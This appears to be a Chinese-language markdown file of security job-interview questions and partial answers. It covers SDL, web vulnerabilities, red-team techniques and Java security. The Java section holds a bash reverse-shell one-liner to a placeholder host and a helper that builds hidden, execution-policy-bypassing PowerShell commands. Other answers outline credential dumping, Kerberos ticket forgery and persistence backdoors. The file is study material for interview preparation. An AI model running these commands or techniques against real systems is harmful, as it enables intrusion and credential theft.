Skip to content

Latest commit

 

History

History
517 lines (382 loc) · 23.8 KB

other.md

File metadata and controls

517 lines (382 loc) · 23.8 KB

题目比较杂,来源于网络

SDL/应用安全

各个 AST 区别、优势是什么?

安全评估需要评估哪些?

等保测评,风险评估,数据安全评估,app 隐私合规

Devsecops 推动过程遇到的困难怎么解决的?

对 SDL 的理解

对 devsecops 的理解是什么?

高并发场景经验

代码审计是怎么做的?

codeql 怎么实现代码审计?

SCA 软件成分分析

如何制定漏洞的修复时间?需要考虑哪些因素?

漏洞复盘的关键是什么?

什么类型漏洞是代码审计无法准确判断存在与否的?

Java Web 应用中的反序列化漏洞的 Source 和 Sink 是什么?

假设你是甲方的一名安全工程师,应该如何降低逻辑漏洞的出现率?

  • 安全左移
  • 提高安全评审覆盖率
  • 提高研发安全意识
  • 完善的 Checklist

开放性问题

Q:讲一次印象深刻的漏洞挖掘经历 Q:讲一次印象深刻的渗透测试经历 Q:讲一下最近比较火的的安全漏洞,你的分析过程和如何快速处置 Q:讲一下你个人的职业规划及发展方向 Q:讲一下在项目执行过程中遇到的困难和处理方式 Q:讲一下自己觉得出色的开发项目或者对优秀工具的研究(cs 的二开、burp 破解、burp 插件、cna 插件等)

如果从 0 到 1 安全边界,边界收口:

安全跟运维合作,通过各种设备,运维平台,安全扫描,进行自动化的资产梳理。 资产定位: 内外网不同: 开放在外网的,必须有负责人。 (1)大部分资产有特定的 header 头 (2)主要是 IP 段有负责人。 (3)自动化发现,每个资产对应到人. 漏洞从发现到推送 钉钉,企业微信机器人推送 修复周期定期提醒 设备流量设备 基于 payload 来判断,联合多个安全设备,以 ATTCK 模型来发现。 安全专家支撑 BBA 车企,网络安全几步走。 其实就是 DevSecOps 怎么做: 业务开发-业务发布-业务运维。 安全左移 提高安全评审覆盖率 提高研发安全意识 完善的 Checklist

PHP disable_function

1 寻找未禁用的函数 exec shell_exec system passthru popen proc_open pcntl_exec 2 com 组件拓展 3 利用 LD_PRELOAD 环境变量

内网纵深防御

主要为了防止一个手段无法防御到,所以以多个手段来防御 边界防御 监测响应 访问控制 终端安全 安全运维 最近几个月,在做什么? 免杀绕过系统 syscall 是 Windows API 中的 syscall 函数,在 Windows Defender 的检测当中,只要你调用此接口,就直接拦截了

溯源反制怎么做

溯源钓鱼邮件,分析附件木马回连地址,邮件头找到真实发件人,利用邮件信息及 id 去社工,寻找博客,企业信息,社交信息等 获取 id 之后,百度,谷歌,src,微博,微信,支付宝,豆瓣,贴吧,知乎,脉脉,钉钉,CSDN,facebook,领英,github 等进行查询绘制攻击者画像

mysql 蜜罐

当攻击者用爆破 mysql 密码的扫描器扫描到我们的 mysql 并连接上的时候,客户端(攻击者)会 自动发起一个查询,我们(服务端)会给与一个回应,我们在回应的数据包中加入 load data local infile 读取攻击者的本地文件到我们数据库中,达到反制的目的。

协程和线程区别

一个线程可以多个协程,一个进程也可以单独拥有多个协程。 线程进程都是同步机制,而协程则是异步。

协程和线程相比,有三个优势。 1、减少了线程切换的成本。Java 中的线程,不管是创建还是切换,都需要较高的成本。子程序切换不是线程切换,而是由程序自身控制,因此,没有线程切换的开销,和多线程比,线程数量越多,协程的性能优势就越明显。这也就是说,协程的效率比较高。 2、协程的第二大优势就是,不需要多线程的锁机制,因为只有一个线程,也不存在同时写变量冲突,在协程中控制共享资源不加锁,只需要判断状态就好了,所以执行效率比多线程高很多。 3、协程更轻量级。创建一个线程栈大概需要 1M 左右,而协程栈大概只需要几 K 或者几十 K。 有优势也有劣势,因为前面的程序看起来在“上串下跳”,所以,协程看起来也没那么好控制。

挖过什么逻辑漏洞,如何修复

横向越权:可通过建立用户和可操作资源的绑定关系,用户对任何资源进行操作时,通过该绑定关系确保该资源是属于该用户所有的;对请求中的关键参数进行间接映射,避免使用原始关键参数名。 纵向越权:建议使用基于角色访问控制机制来防止纵向越权攻击,即预先定义不同的权限角色,为每个角色分配不同的权限,每个用户都属于特定的角色,即拥有固定的权限,当用户执行某个动作或产生某种行为时,通过用户所在的角色判定该动作或者行为是否允许。

● 基础安全架构,完善用户权限体系。要知道哪些数据对于哪些用户,哪些数据不应该由哪些用户操作; ● 永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤; ● 执行关键操作前必须验证用户身份; ● 不要直接使用对象的实名或关键字;直接对象引用的加密资源 id,防止攻击者枚举 ID; ● 鉴权,服务端对请求的数据和当前用户身份做校验,前后端同时校验; ● 调用功能前验证用户是否有权限调用相关功能;

签名 与三方系统对接,无法通过登录信息做鉴权的,可以设计签名,预防接口被随意调用。解决方法:给三方系统颁发一个 appId、Secret(记录在自己系统里),要求调用方传递参数时带上 appId,然后传递一个签名 sign,sign 可以设计为 md5(业务参数+Secret)。接收方根据 appId 查询出来对应的 Secret,然后用同样的算法计算 sign,对比一致即可放行。设计签名,攻击方无法修改业务参数,因为修改了业务参数,sign 便不对了,只要调用方不泄露 secret,它就是安全的。接收方做好幂等,业务也不会有问题。最多被重放请求(ddos),并且重放也可以通过参数里加时间戳来解决。

数据脱敏 所有鉴权问题搞定后,数据字段透出最好做到最小化,前端不需要的字段不透出,敏感字段要脱敏。

杂项

Q:Dockerfile 是做什么的,docker-compose.yml 又是做什么的?
A:Dockerfile 是用来构建镜像用的,可以编写一系列命令指定去构建一个镜像。docker-compose.yml 是 docker compose 的配置文件,可以用来构建镜像、定义网络等

Q:常见端口作用及功能(★)
A:关系型数据库端口(1433、1521、3306、5432、9200)
非关系型数据库端口(6379、27017)
管理端口(22、23、3389、5900)
常见服务端口(21、25、80、443、8080、7001)

Q:在使用 VM 虚拟化技术时,桥接网络和 NAT 网络的区别是什么?
A:桥接网络:本地物理网卡和虚拟网卡通过 VMnet0 虚拟交换机进行桥接,两者地位等同
NAT 网络实现物理机与虚拟机之间的通信

NAT 的两种模式
SNAT: 源网络地址转换
原理:修改数据包的源地址。源 NAT 改变第一个数据包的来源地址,它永远会在数据包发送到网络之前完成,数据包伪装就是一具 SNAT 的例子。将内网发出的请求报文原地址转换成自己的地址发往远端服务器,对回来的响应报文在作做反向处理,类似网络代理。
DNAT:目的网络地址转换
原理:修改数据包的目的地址。Destination NAT 刚好与 SNAT 相反,它是改变第一个数据包的目的地地址,如负载、端口转发和透明代理就是属于 DNAT。将内网服务端口映射在公网出口地址上。NAT 不仅能解决了 lP 地址不足的问题,而且还能够有效地避免来自网络外部的攻击,隐藏并保护网络内部的计算机

Q:linux 常用命令
A:SCP 命令、more 命令、tail 命令、netstat 命令、ps 命令、head 命令、tracert 命令等理解

Q:安全、网络名称理解
A:H5 负载均衡
IDS 入侵检测
IPS 入侵防御
EDR 终端防护
HIDS 主机入侵检测
WAF web 应用防护
蜜罐 攻击诱导
DLP 数据防泄漏
SDL 软件安全开发周期
SDLC 系统生命周期
ACL 防控控制策略
AD 域 域控
AP 热点
POE POE 供电(网线供电多用于数字电话、AP、摄像头等)
CDN 内容分发网络
CF cloudflare 简称,因为免费所以好多人用
SAST 静态应用程序安全性测试(白盒测试)
DAST 动态应用程序安全性测试(黑盒测试)
IAST 交互式应用程序安全测试(IAST 将代理放置在应用程序中,并在应用程序中,开发过程中的任何位置,IDE,连续集成环境,QA 甚至生产环境中的任何位置实时进行所有分析)
RASP 运行时应用程序安全保护

web 安全

Q:HTTP 请求方法有哪些
A:GET、POST、OPTIONS、DELETE、PUT、HEAD、TRACE、CONNECT(不同的 http 协议所支持的方法不同)

Q:渗透的流程(★)
A:信息收集-漏洞利用-权限提升-权限维持-内网渗透-痕迹清除

Q:谈谈你对信息收集的理解\方式(★★)
A:信息收集一般分为两个方向,主动信息收集和被动信息收集
主动信息收集会通过端口扫描、目录扫描、指纹识别去收集目标信息
被动信息收集通过公开情报、whois 信息、DNS 历史解析记录、子域名信息、旁站信息、C 段资产、证书信息、企业信息、备案信息等
收集的意义主要用于扩大攻击面和确定攻击路径

Q:信息收集时如何处理子域名爆破泛解析问题(★★)
A:根据确切不存在的子域名记录获取黑名单 IP,对爆破过程的结果进行黑名单过滤。但存在误报,如泛解析 IP 和某个子域名 IP 为同一 IP
另外也可以根据 TTL(TTL 值全称是“生存时间(Time To Live)”,简单的说它表示 DNS 记录在 DNS 服务器上缓存时间),在权威 DNS 中,泛解析记录的 TTL 肯定是相同的,如果子域名记录相同,但 TTL 不同,那这条记录可以说肯定不是泛解析记录

Q:CDN 是什么(★)
A:内容分发网络,主要用于对网站做负载均衡,提供内容缓存服务,有的会提供 CND web 防护,可以帮助网站加速访问,隐藏真实 IP,提供 waf 等

Q:如何判断网站是否使用了 CDN
A:1、多地 ping,通过返回结果来看
2、查询解析 IP、通过对 IP 的归属查询可以确定 CDN 厂商

Q:如何绕过 CDN 查找真实 IP(★)
A:1、子域名可能未配置 CDN
2、邮件,通过网站服务来确定服务器 IP
3、国外 IP 访问,通过国外 dns 查询
4、查找历史 DNS 解析记录
5、通过系统泄露(js 泄露、配置文件泄露、报错信息等)
6、漏洞利用获取,想办法让主机连接自己
7、全网扫描

Q:中间件是什么,常见的中间件有哪些(★)
A:web 架构中的中间交换层,有消息中间件和服务中间件。
常见的有 weblogic、apache、nginx、tomcat、jboss 等

Q:phpinfo 文件关注点(★)
A:服务器真实 IP、网站绝对路径、禁用函数等

Q:XSS 分为哪几种(★)
A:反射型 XSS、储存型 XSS、DOM 型 XSS

Q:XSS 能用来做什么\XSS 有什么危害(★)
A:反射型 xss 可以用来钓鱼、储存型 xss 可以用来窃取 cookie、网页劫持、网页挂马等

Q:XSS 除了获取 cookies 还能干嘛?
A:获取服务器真实 ip
xss 蠕虫
钓鱼攻击
前端 JS 挖矿
获取键盘记录

Q:XSS 怎么防御(★)
A:对所有用户输入的内容进行转义、或者输出转义

Q:CSRF 是什么(★)
A:跨站请求伪造,可以通过构造 csrf 请求诱导他人点击,从而导致信息被篡改的操作

Q:CSRF 如何防御(★)
A:设置 tonken、增加验证码

Q:SameSite 如何防止 CSRF(★★)
A:cookie 设置 samesit 属性后,可以有效控制 cookie 是否跟随发送,当值为 strict(严格模式)时,表明只有同站请求才能携带 cookie;值为 Lax(宽松模式),限制了 post,普通跨站请求携带 cookie,值为 none,白给

Q:cookie 和 session 的区别
A:cookie 储存在客户端,session 是基于 cookie 实现的,session 存储在服务器端

Q:SSRF 是什么,有什么危害,怎么利用
A:服务器请求伪造,可以让攻击者构造有服务器自己发送的请求,以便实现访问一些内部资源。通过该漏洞可以读取服务器文件,探测内网端口,利用 Gopher 协议还能进一步攻击内网服务

Q:SSRF 漏洞怎么防御
A:禁止跳转,URL 检测,限制协议等

Q:文件上传漏洞有什么危害,怎么利用
A:上传 webshell、上传恶意木马诱导管理员下载、连续上传大文件造成系统服务崩溃

Q:文件上传漏洞绕过方式
A:双写后缀、文件名覆盖、%00 截断、添加特殊字符、构造异常包、构造大文件、分块传输、利用服务器解析漏洞

Q:php 的 %00 截断的原理是什么?
A:因为在 C 语⾔中字符串的结束标识符 %00 是结束符号,⽽ PHP 就是 C 写的,所以继承了 C 的特性,所以判断为%00 是结束符号不会继续往后执⾏
条件:PHP<5.3.29,且 GPC 关闭

Q:常⻅的中间件解析漏洞利⽤⽅式
A:IIS 6.0 /xx.asp/xx.jpg "xx.asp" 是⽂件夹名 IIS 7.0/7.5 默认 Fast-CGI 开启,直接在 url 中图⽚地址后⾯输⼊ / 1.php,会把正常图⽚当成 php 解析 Nginx 版本⼩于等于 0.8.37,利⽤⽅法和 IIS 7.0/7.5 ⼀样,Fast-CGI 关闭情况下也可利⽤。 空字节代码 xxx.jpg%00.php Apache 上传的⽂件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀

Q:分块传输绕 WAF 原理
A:

Q:文件包含漏洞有什么危害,怎么利用
A:

Q:XXE 漏洞是什么,有什么危害,怎么利用
A:

Q:XPATH 注入有什么危害,怎么利用
A:

Q:SQL 注入是什么?怎么利用?
A:由于信任用户输入,导致输入内容被带入到数据库查询中,并返回结果或响应不同内容。
通过 SQL 注入我们可以获取用户表的用户和密码(一般时加密的 hash,可能能解密)、权限够还可以写 webshell、或者利用

Q:怎么避免 SQL 注入漏洞,如何防护?
A:

Q:SQL 注入绕 WAF 的方式有哪些?
A:

Q:SQL 注入分哪些种类?
A:1)报错注入 2)bool 型注入 3)延时注入 4)宽字节注入

Q:盲注时如何加速注入过程?
A:

Q:时间盲注时如果 Sleep 函数被禁用,该怎么办?
A:

Q:sqlmap 如何下载数据库数据
A:

Q:sqlmap 如何统计数据表有多少数据
A:

Q:sqlmap os shell 原理是什么,利用条件是什么?
A:利用条件有三个,dba 权限、网站绝对路径、有写入权限,sqlmap 遍历路径,利用 into outfile 函数写入两个文件,一个文件实现文件上传功能,另外一个文件实现命令执行

Q:mysql 和 msssql 注入时的区别
A:

Q:SQL 注入获取系统权限需要哪些条件
A:

Q:mysql 和 oracl 注入时的区别
A:

Q:DDOS 和 CC 的区别,如何防护
A:

Q:同源策略是什么,能起什么作用
A:

Q:什么是 CRLF 注入攻击?(%0d%0a)(\r\n)
A:是一种当用户将回车换行字符插入到应用中而触发漏洞的攻击技巧。
当该字符与 HTTP 协议请求和响应的头部一起联用时就有可能会出现各种各样的漏洞,包括 http 请求走私和 http 响应拆分。
http 请求走私:
缓存毒化—攻击者可以修改缓存中的内容然后不显示正常页面而显示恶意页面。
防火墙逃逸—攻击者通过构造数据包来逃避安全检查(两个包),通常会利用 CRLF 和构造超大的数据包。
请求劫持—攻击者可以通过该利用获取 HttpOnly 的 cookie 和 http 认证数据,类似于 xss 但是不需要攻击者和黑客进行交互。
http 响应拆分:加入一些请求头,造成类似 XSS 的攻击效果

Q:JWT 是什么?有什么安全问题?(★★)
A:JWT 全称 json web token,由服务端用加密算法对信息签名来保证其完整性和不可伪造。由三部分组成,header、payload 与 signature。 可能存在敏感信息泄露、签名未校检(尝试修改 signature 后还生效)、签名算法可被修改为 none、密钥爆破、密钥伪造等风险

Q:简单讲讲绕 WAF 的思路(★)
A:不同的漏洞点绕 waf 的点不同,结合漏洞来讲比较多 sql 注入绕 waf xss 绕 waf ssrf 绕 waf 文件上传绕 waf 命令执行绕 waf 不过大家都有共同点,那就是编码转换、字符转换、加特殊字符、构造异常请求包等等

Q:如何实现跨域
A:jsonp 请求、cors 请求、代理跨域请求(CDN)、H5 websocket

红队方向

Q:不出网怎么反弹 shell
A:1、通过 ICMP、DNS 协议反弹 shell 2、通过架设转发代理实现反弹 shell 3、通过 cs 进行会话中转

Q:DPAPI 机制
A:微软数据保护接口(Data Protection Application Programming Interface,DPAPI),实现了数据加密

Q:fastjson 不出网怎么处理
A:动态类加载

Q:内网中优先爆破的端口及意义
A:3389,进入内网后有远程桌面开启的服务器上往往会存在大量资料,有助于进一步扩展

Q:常见的钓鱼方式
A:邮件钓鱼、网站钓鱼、即时聊天钓鱼、二维码钓鱼、wifi 钓鱼

Q:windows 下 redis 利用方式
A:

Q:bypass uac 的方式
A:

Q:windows 密码抓取原理,有杀软抓不到
A:windows 登录时会把密码储存在 lsass.exe 程序的内存中,使用 Mimikatz 工具可以开启调式模式读取该进程中内存,从而获取密码,有杀软可以先 dunp 保存下来,本地跑

Q:windwos defender 安全机制

Q:内网黄金票据、白银票据的区别和利用方式
A:(1)白银票据:抓取到了域控服务 hash 的情况下,在客户端以一个普通域用户的身份生成 TGS 票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的 target 机器中指定的服务。 (2)黄金票据:直接抓取域控中账号的 hash,在客户端生成一个 TGT 票据,那么该票据是 针对所有机器的所有服务

11、常见后门方式?
windows: 1.替换系统文件类(shift 后门,放大镜后门) 2.修改注册表类 自启动项、屏幕保护程序注册表、用户登陆初始化、映像劫持、影子账户、文件关联 3.文件类 自启动文件夹、office 启动劫持 4.计划任务 schtasks 、WMI、bitsadmin Linux 1.预加载型动态链接库后门 2.SSH 后门 3.SUID 后门 4.vim 后门 5.PAM 后门 6.进程注入 7.Rootkit 8.端口复用

红队方向之域环境

Q:域内委派是什么?
A:

Q:PTH 原理

Q:PTH 利用条件

红队方向之权限维持

Q:dll 劫持,dll 注入

java 安全

Q:java 反射是什么 A:在程序运行时动态加载类并获取类的详细信息,从而操作类或对象的属性和方法,提高程序的灵活性。Java 本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果

Q:java 反射可以做哪些事情 A:

Q:java 中反弹 shell 命令 A:java 中直接执行 bash -i >& /dev/tcp/ip/port 0>&1 会失败,因为有>符号,表示重定向,需要对其进行编码 bash -c {echo,base64 的 payload}|{base64,-d}|{bash,-i} 针对 Powershell 应该使用以下的命令 powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的 Base64 这个特殊的 Base64 和普通 Base64 不同,需要填充 0,算法如下

public static String getPowershellCommand(String cmd) {
    char[] chars = cmd.toCharArray();
    List<Byte> temp = new ArrayList<>();
    for (char c : chars) {
        byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);
        for (byte b : code) {
            temp.add(b);
        }
        temp.add((byte) 0);
    }
    byte[] result = new byte[temp.size()];
    for (int i = 0; i < temp.size(); i++) {
        result[i] = temp.get(i);
    }
    String data = Base64.getEncoder().encodeToString(result);
    String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
    return prefix + data;
}

Q:Runtime.exec 加入黑名单还有什么方式执行命令 A:类似 JSP Webshell 免杀

大致方法有这些:使用基本的反射,ProcessImpl 和 ProcessBuilde,JDNI 和 LDAP 注入,TemplatesImpl,BCEL,BeansExpression,自定义 ClassLoader,动态编译加载,ScriptEngine,反射调用一些 native 方法,各种 EL(SPEL 和 Tomcat EL 等)

Q:RMI 和 LDAP 类型的 JNDI 注入分别在哪个版本限制(★)

A:RMI 的 JNDI 注入在 8u121 后限制,需要手动开启 com.sun.jndi.rmi.object.trustURLCodebase 属性
LDAP 的 JNDI 注入在 8u191 后限制,需要开启 com.sun.jndi.ldap.object.trustURLCodebase 属性

Q:java 内存马的实现方式?

A:通过命令执行等方式动态注册一个新的 listener、filter 或者 servlet,从而实现命令执行等功能。通过 java 的 instrumentation 动态修改已有代码,进而实现命令执行等功能。

Q:内存马如何查杀?

A:一般检测思路:注入 jar 包-> dump 已加载 class 字节码->反编译成 java 代码-> 源码 webshell 检测 通过以上思路,手工可以利用 Java Agent 遍历所有 JVM 中的 class,判断是否是内存马,判断类名是否是恶意类,新增类 或者使用开源工具 java-memshell-scanner、copagent 等

Q:常见(fastjson、strtus2、weblogic、shiro、log4j、spring)java 反序列化漏洞原理

A:

甲方安全

影响面广泛的漏洞理解

注意在面试的时候最好把一个漏洞给深入的讲明白,特别是刚刚爆出的影响比较广泛的漏洞,对于其漏洞原理、利用方法、绕过 waf 的方法、临时修复方法、根本修复方法、内网快速排查方法要有自己的理解 讲原理要到代码层,最起码要具体到类,利用方式也根据 jdk 版本的不同做区分等等,能讲细致绝不要一句话结束。

Q:shiro 漏洞原理
A:shiro 550 简单讲就是在 1.2.4 版本下使用了固定 aes 加密 key,在对 remeberme 字段进行反序列化时,由于 key 泄露导致用户可以构造恶意内容,最后导致命令执行
或者官方一点
shiro 默认使用 CookieRememberMeManager,对 rememberMe 的 cookie 做了加密处理,在 CookieRememberMeManaer 类中将 cookie 中 rememberMe 字段内容先后进行序列化、AES 加密、Base64 编码操作

攻击者可以构造一个恶意的对象,并且对其序列化、AES 加密、base64 编码后,作为 cookie 的 rememberMe 字段发送。Shiro 将 rememberMe 进行解密并且反序列化,最终就造成了反序列化的 RCE 漏洞

Q:shiro 721 和 550 区别在哪里
A:最大的区别在于 721 需要利用条件,而且 payload 巨长

Q:shiro 721 利用时要注意什么
A:需要先登录

Q:weblogic 漏洞原理

A:

Q:fastjson 漏洞原理 A:

Q:stauts2 漏洞原理 A:

开放性问题

Q:讲一次印象深刻的漏洞挖掘经历 Q:讲一次印象深刻的渗透测试经历 Q:讲一下最近比较火的的安全漏洞,你的分析过程和如何快速处置 Q:讲一下你个人的职业规划及发展方向 Q:讲一下在项目执行过程中遇到的困难和处理方式 Q:讲一下自己觉得出色的开发项目或者对优秀工具的研究(cs 的二开、burp 破解、burp 插件、cna 插件等)